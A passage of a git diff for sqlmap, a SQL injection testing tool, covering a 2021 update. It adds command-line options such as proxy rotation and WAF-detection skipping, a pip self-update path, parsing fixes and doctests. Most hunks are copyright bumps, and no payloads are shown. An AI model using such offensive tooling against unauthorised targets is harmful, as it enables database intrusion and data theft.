else: - errMsg = "test failed" - - if _failures.failedItems: - errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems) - - errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH - errMsg += " - traceback: %s" % bool(_failures.failedTraceBack) - - if not vulnerable: - errMsg += " - SQL injection not detected" - - logger.error(errMsg) - test_case_fd.write("%s\n" % errMsg) - - if _failures.failedParseOn: - console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING) - console_output_fd.write(_failures.failedParseOn) - console_output_fd.close() - - if _failures.failedTraceBack: - traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING) - traceback_fd.write(_failures.failedTraceBack) - traceback_fd.close() - - beep() - - if conf.stopFail is True: - return retVal - - test_case_fd.close() - retVal &= bool(result) - - dataToStdout("\n") - - if retVal: - logger.info("live test final result: PASSED") - else: - logger.error("live test final result: FAILED") - - return retVal - -def initCase(switches, count): - _failures.failedItems = [] - _failures.failedParseOn = None - _failures.failedTraceBack = None - - paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count)) - paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") - paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") - - logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH) - - LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-") - - cmdLineOptions = cmdLineParser() - - if switches: - for key, value in switches.items(): - if key in cmdLineOptions.__dict__: - cmdLineOptions.__dict__[key] = value - - initOptions(cmdLineOptions, True) - init() - -def cleanCase(): - shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True) - -def runCase(parse): - retVal = True - handled_exception = None - unhandled_exception = None - result = False - console = "" - - try: - result = start() - except KeyboardInterrupt: - pass - except SqlmapBaseException as ex: - handled_exception = ex - except Exception as ex: - unhandled_exception = ex - finally: - sys.stdout.seek(0) - console = sys.stdout.read() - LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__ - - if unhandled_exception: - _failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc()) - retVal = None - elif handled_exception: - _failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc()) - retVal = None - elif result is False: # this means no SQL injection has been detected - if None, ignore - retVal = False - - console = getUnicode(console, encoding=sys.stdin.encoding) - - if parse and retVal: - with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f: - content = f.read() - - for item, parse_from_console_output in parse: - parse_on = console if parse_from_console_output else content - - if item.startswith("r'") and item.endswith("'"): - if not re.search(item[2:-1], parse_on, re.DOTALL): - retVal = None - _failures.failedItems.append(item) - - elif item not in parse_on: - retVal = None - _failures.failedItems.append(item) - - if _failures.failedItems: - _failures.failedParseOn = console - - elif retVal is False: - _failures.failedParseOn = console - - return retVal - -def replaceVars(item, vars_): - retVal = item - - if item and vars_: - for var in re.findall(r"\$\{([^}]+)\}", item): - if var in vars_: - retVal = retVal.replace("${%s}" % var, vars_[var]) - - return retVal diff --git a/lib/core/threads.py b/lib/core/threads.py index c717681fe95..58c0e5de0c3 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -21,6 +21,7 @@ from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException @@ -101,7 +102,7 @@ def exceptionHandledFunction(threadFunction, silent=False): except Exception as ex: from lib.core.common import getSafeExString - if not silent and kb.get("threadContinue") and not isinstance(ex, SqlmapUserQuitException): + if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)): errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) @@ -175,7 +176,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio while alive: alive = False for thread in threads: - if thread.isAlive(): + if thread.is_alive(): alive = True time.sleep(0.1) diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index 6f7956a14b7..5aaf94d13ab 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -21,10 +21,15 @@ def escape(self, expression, quote=True, dbms=None): identifiedDbms = Backend.getIdentifiedDbms() if dbms is not None: - return self[dbms](expression, quote=quote) - elif identifiedDbms is not None: - return self[identifiedDbms](expression, quote=quote) + retVal = self[dbms](expression, quote=quote) + elif identifiedDbms is not None and identifiedDbms in self: + retVal = self[identifiedDbms](expression, quote=quote) else: - return expression + retVal = expression + + # e.g. inference comparison for ' + retVal = retVal.replace("'''", "''''") + + return retVal unescaper = Unescaper() diff --git a/lib/core/update.py b/lib/core/update.py index 75ec48b5953..d5e63163ecc 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -14,6 +14,7 @@ import zipfile from lib.core.common import dataToStdout +from lib.core.common import extractRegexResult from lib.core.common import getLatestRevision from lib.core.common import getSafeExString from lib.core.common import openFile @@ -27,6 +28,7 @@ from lib.core.settings import GIT_REPOSITORY from lib.core.settings import IS_WIN from lib.core.settings import VERSION +from lib.core.settings import TYPE from lib.core.settings import ZIPBALL_PAGE from thirdparty.six.moves import urllib as _urllib @@ -36,7 +38,34 @@ def update(): success = False - if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): + if TYPE == "pip": + infoMsg = "updating sqlmap to the latest stable version from the " + infoMsg += "PyPI repository" + logger.info(infoMsg) + + debugMsg = "sqlmap will try to update itself using 'pip' command" + logger.debug(debugMsg) + + dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) + + output = "" + try: + process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) + pollProcess(process, True) + output, _ = process.communicate() + success = not process.returncode + except Exception as ex: + success = False + output = getSafeExString(ex) + finally: + output = getText(output) + + if success: + logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P\d+\.\d+\.\d+)\)", output))) + else: + logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip()) + + elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.warn(warnMsg) @@ -95,6 +124,7 @@ def update(): os.chmod(os.path.join(directory, "sqlmap.py"), attrs) except OSError: logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py")) + else: infoMsg = "updating sqlmap to the latest development revision from the " infoMsg += "GitHub repository" diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 2139c6d0fb2..e6ecae1e1aa 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/banner.py b/lib/parse/banner.py index d34ccf6743e..10cba0c8d52 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 7c6fa29866a..4224fb0640c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -83,6 +83,7 @@ def get_all_options(parser): from lib.core.option import _createHomeDirectories from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL +from lib.core.settings import IGNORED_OPTIONS from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH @@ -167,6 +168,9 @@ def cmdLineParser(argv=None): request.add_argument("--cookie-del", dest="cookieDel", help="Character used for splitting cookie values (e.g. ;)") + request.add_argument("--live-cookies", dest="liveCookies", + help="Live cookies file used for loading up-to-date values") + request.add_argument("--load-cookies", dest="loadCookies", help="File containing cookies in Netscape/wget format") @@ -218,6 +222,9 @@ def cmdLineParser(argv=None): request.add_argument("--proxy-file", dest="proxyFile", help="Load proxy list from a file") + request.add_argument("--proxy-freq", dest="proxyFreq", type=int, + help="Requests between change of proxy from a given list") + request.add_argument("--tor", dest="tor", action="store_true", help="Use Tor anonymity network") @@ -252,7 +259,7 @@ def cmdLineParser(argv=None): help="Load safe HTTP request from a file") request.add_argument("--safe-freq", dest="safeFreq", type=int, - help="Test requests between two visits to a given safe URL") + help="Regular requests between visits to a safe URL") request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") @@ -266,6 +273,9 @@ def cmdLineParser(argv=None): request.add_argument("--csrf-method", dest="csrfMethod", help="HTTP method to use during anti-CSRF token page visit") + request.add_argument("--csrf-retries", dest="csrfRetries", type=int, + help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries) + request.add_argument("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") @@ -615,6 +625,12 @@ def cmdLineParser(argv=None): general.add_argument("--answers", dest="answers", help="Set predefined answers (e.g. \"quit=N,follow=N\")") + general.add_argument("--base64", dest="base64Parameter", + help="Parameter(s) containing Base64 encoded data") + + general.add_argument("--base64-safe", dest="base64Safe", action="store_true", + help="Use URL and filename safe Base64 alphabet (RFC 4648)") + general.add_argument("--batch", dest="batch", action="store_true", help="Never ask for user input, use the default behavior") @@ -673,7 +689,10 @@ def cmdLineParser(argv=None): help="Parse and display DBMS error messages from responses") general.add_argument("--preprocess", dest="preprocess", - help="Use given script(s) for preprocessing of response data") + help="Use given script(s) for preprocessing (request)") + + general.add_argument("--postprocess", dest="postprocess", + help="Use given script(s) for postprocessing (response)") general.add_argument("--repair", dest="repair", action="store_true", help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) @@ -682,7 +701,10 @@ def cmdLineParser(argv=None): help="Save options to a configuration INI file") general.add_argument("--scope", dest="scope", - help="Regexp to filter targets from provided proxy log") + help="Regexp for filtering targets") + + general.add_argument("--skip-heuristics", dest="skipHeuristics", action="store_true", + help="Skip heuristic detection of SQLi/XSS vulnerabilities") general.add_argument("--skip-waf", dest="skipWaf", action="store_true", help="Skip heuristic detection of WAF/IPS protection") @@ -709,7 +731,7 @@ def cmdLineParser(argv=None): help="Run host OS command(s) when SQL injection is found") miscellaneous.add_argument("--beep", dest="beep", action="store_true", - help="Beep on question and/or when SQL injection is found") + help="Beep on question and/or when SQLi/XSS/FI is found") miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true", help="Check for missing (optional) sqlmap dependencies") @@ -745,9 +767,6 @@ def cmdLineParser(argv=None): help="Simple wizard interface for beginner users") # Hidden and/or experimental options - parser.add_argument("--base64", dest="base64Parameter", - help=SUPPRESS) # "Parameter(s) containing Base64 encoded values" - parser.add_argument("--crack", dest="hashFile", help=SUPPRESS) # "Load and crack hashes from a file (standalone)" @@ -760,6 +779,9 @@ def cmdLineParser(argv=None): parser.add_argument("--debug", dest="debug", action="store_true", help=SUPPRESS) + parser.add_argument("--disable-multi", dest="disableMulti", action="store_true", + help=SUPPRESS) + parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true", help=SUPPRESS) @@ -781,22 +803,22 @@ def cmdLineParser(argv=None): parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", help=SUPPRESS) - parser.add_argument("--gui", dest="gui", action="store_true", + parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true", help=SUPPRESS) - parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", + parser.add_argument("--gui", dest="gui", action="store_true", help=SUPPRESS) - parser.add_argument("--live-test", dest="liveTest", action="store_true", + parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", help=SUPPRESS) parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) - parser.add_argument("--stop-fail", dest="stopFail", action="store_true", + parser.add_argument("--bed-test", dest="bedTest", action="store_true", help=SUPPRESS) - parser.add_argument("--run-case", dest="runCase", + parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true", help=SUPPRESS) # API options @@ -853,7 +875,7 @@ def _format_action_invocation(self, action): _ = [] advancedHelp = True extraHeaders = [] - tamperIndex = None + auxIndexes = {} # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") for arg in argv: @@ -912,18 +934,25 @@ def _format_action_invocation(self, action): except ValueError as ex: raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex)) + longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help())) + longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help())) + for i in xrange(len(argv)): - longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help())) - longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help())) + # Reference: https://en.wiktionary.org/wiki/- + argv[i] = re.sub(u"\\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i]) + + # Reference: https://unicode-table.com/en/sets/quotation-marks/ + argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C") + if argv[i] == "-hh": argv[i] = "-h" elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None: argv[i] = "--url=%s" % argv[i] elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): - dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i]) + dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i]) raise SystemExit elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]: - dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i]) + dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i]) raise SystemExit elif re.search(r"\A-\w=.+", argv[i]): dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) @@ -931,19 +960,33 @@ def _format_action_invocation(self, action): elif re.search(r"\A-\w{3,}", argv[i]): if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches): argv[i] = "-%s" % argv[i] + elif argv[i] in IGNORED_OPTIONS: + argv[i] = "" elif argv[i] in DEPRECATED_OPTIONS: argv[i] = "" - elif argv[i].startswith("--tamper"): - if tamperIndex is None: - tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) + elif argv[i].startswith("--data-raw"): + argv[i] = argv[i].replace("--data-raw", "--data", 1) + elif argv[i].startswith("--drop-cookie"): + argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1) + elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")): + key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1) + index = auxIndexes.get(key, None) + if index is None: + index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) + auxIndexes[key] = index else: - argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) + delimiter = ',' + argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) argv[i] = "" - elif argv[i] == "-H": - if i + 1 < len(argv): + elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")): + if '=' in argv[i]: + extraHeaders.append(argv[i].split('=', 1)[1]) + elif i + 1 < len(argv): extraHeaders.append(argv[i + 1]) elif argv[i] == "--deps": argv[i] = "--dependencies" + elif argv[i] == "--disable-colouring": + argv[i] = "--disable-coloring" elif argv[i] == "-r": for j in xrange(i + 2, len(argv)): value = argv[j] @@ -969,14 +1012,14 @@ def _format_action_invocation(self, action): found = True if not found: get_groups(parser).remove(group) - elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r"\A-\w\Z", argv[i - 1]) is None: + elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r"\A-{1,2}\w", argv[i - 1]) is None: dataToStdout("[!] detected usage of long-option without a starting hyphen ('%s')\n" % argv[i]) raise SystemExit for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)): try: if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit(): - conf.verbose = verbosity.count('v') + 1 + conf.verbose = verbosity.count('v') del argv[argv.index(verbosity)] except (IndexError, ValueError): pass @@ -1005,7 +1048,12 @@ def _format_action_invocation(self, action): if args.dummy: args.url = args.url or DUMMY_URL - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)): + if hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno()) and '-' not in sys.argv: + args.stdinPipe = iter(sys.stdin.readline, None) + else: + args.stdinPipe = None + + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index c0d7ce7cafb..a51bc90b5f2 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 9e071a14c5a..d88b79a31d6 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 75480193e6c..a496e0c97ad 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/html.py b/lib/parse/html.py index 8af2067ce79..833ad9eda40 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -26,7 +26,10 @@ def __init__(self, page): self._dbms = None self._page = (page or "") - self._lower_page = self._page.lower() + try: + self._lower_page = self._page.lower() + except SystemError: # https://bugs.python.org/issue18183 + self._lower_page = None self._urldecoded_page = urldecode(self._page) self.dbms = None @@ -49,20 +52,31 @@ def startElement(self, name, attrs): keywords = sorted(keywords, key=len) kb.cache.regex[regexp] = keywords[-1].lower() - if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I): + if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I): self.dbms = self._dbms self._markAsErrorPage() + kb.forkNote = kb.forkNote or attrs.get("fork") def htmlParser(page): """ This function calls a class that parses the input HTML page to fingerprint the back-end database management system + + >>> from lib.core.enums import DBMS + >>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL + True + >>> threadData = getCurrentThreadData() + >>> threadData.lastErrorPage = None """ xmlfile = paths.ERRORS_XML handler = HTMLHandler(page) key = hash(page) + # generic SQL warning/error messages + if re.search(r"SQL (warning|error|syntax)", page, re.I): + handler._markAsErrorPage() + if key in kb.cache.parsedDbms: retVal = kb.cache.parsedDbms[key] if retVal: @@ -79,8 +93,4 @@ def htmlParser(page): kb.cache.parsedDbms[key] = handler.dbms - # generic SQL warning/error messages - if re.search(r"SQL (warning|error|syntax)", page, re.I): - handler._markAsErrorPage() - return handler.dbms diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 19caab07059..27251ba9761 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -41,10 +41,10 @@ def cleanupVals(text, tag): return text def parseXmlNode(node): - for element in node.getiterator("boundary"): + for element in node.findall("boundary"): boundary = AttribDict() - for child in element.getchildren(): + for child in element: if child.text: values = cleanupVals(child.text, child.tag) boundary[child.tag] = values @@ -53,21 +53,21 @@ def parseXmlNode(node): conf.boundaries.append(boundary) - for element in node.getiterator("test"): + for element in node.findall("test"): test = AttribDict() - for child in element.getchildren(): + for child in element: if child.text and child.text.strip(): values = cleanupVals(child.text, child.tag) test[child.tag] = values else: - if len(child.getchildren()) == 0: + if len(child.findall("*")) == 0: test[child.tag] = None continue else: test[child.tag] = AttribDict() - for gchild in child.getchildren(): + for gchild in child: if gchild.tag in test[child.tag]: prevtext = test[child.tag][gchild.tag] test[child.tag][gchild.tag] = [prevtext, gchild.text] @@ -77,6 +77,15 @@ def parseXmlNode(node): conf.tests.append(test) def loadBoundaries(): + """ + Loads boundaries from XML + + >>> conf.boundaries = [] + >>> loadBoundaries() + >>> len(conf.boundaries) > 0 + True + """ + try: doc = et.parse(paths.BOUNDARIES_XML) except Exception as ex: @@ -89,6 +98,15 @@ def loadBoundaries(): parseXmlNode(root) def loadPayloads(): + """ + Loads payloads/tests from XML + + >>> conf.tests = [] + >>> loadPayloads() + >>> len(conf.tests) > 0 + True + """ + for payloadFile in PAYLOAD_XML_FILES: payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 7acb1864c8b..752d9899a90 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/__init__.py b/lib/request/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basic.py b/lib/request/basic.py index 09d94d2be13..1e05a8f2138 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -343,7 +343,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): # e.g. %20%28%29 if percentDecode: if b"%" in page: - page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page) + page = re.sub(b"%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page) + page = re.sub(b"%([0-9A-F]{2})", lambda _: decodeHex(_.group(1)), page) # Note: %DeepSee_SQL in CACHE # e.g. & page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page) @@ -352,7 +353,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): if (kb.pageEncoding or "").lower() == "utf-8-sig": kb.pageEncoding = "utf-8" - if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) + if page and page.startswith(b"\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) page = page[3:] page = getUnicode(page, kb.pageEncoding) @@ -393,8 +394,8 @@ def processResponse(page, responseHeaders, code=None, status=None): if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) - if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: - rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page) + if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: + rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page) identYwaf.non_blind.clear() if identYwaf.non_blind_check(rawResponse, silent=True): diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index 252739ce16d..ede8f31e1fe 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index 243b4a643b4..131c81dd4b1 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -1,11 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.data import conf +from lib.core.enums import HTTP_HEADER from thirdparty.six.moves import urllib as _urllib class ChunkedHandler(_urllib.request.HTTPHandler): @@ -20,20 +21,17 @@ def _http_request(self, request): if request.data is not None: # POST data = request.data - if not request.has_header("Content-type"): - request.add_unredirected_header( - "Content-type", - "application/x-www-form-urlencoded") - if not request.has_header("Content-length") and not conf.chunked: - request.add_unredirected_header( - "Content-length", "%d" % len(data)) + if not request.has_header(HTTP_HEADER.CONTENT_TYPE): + request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded") + if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked: + 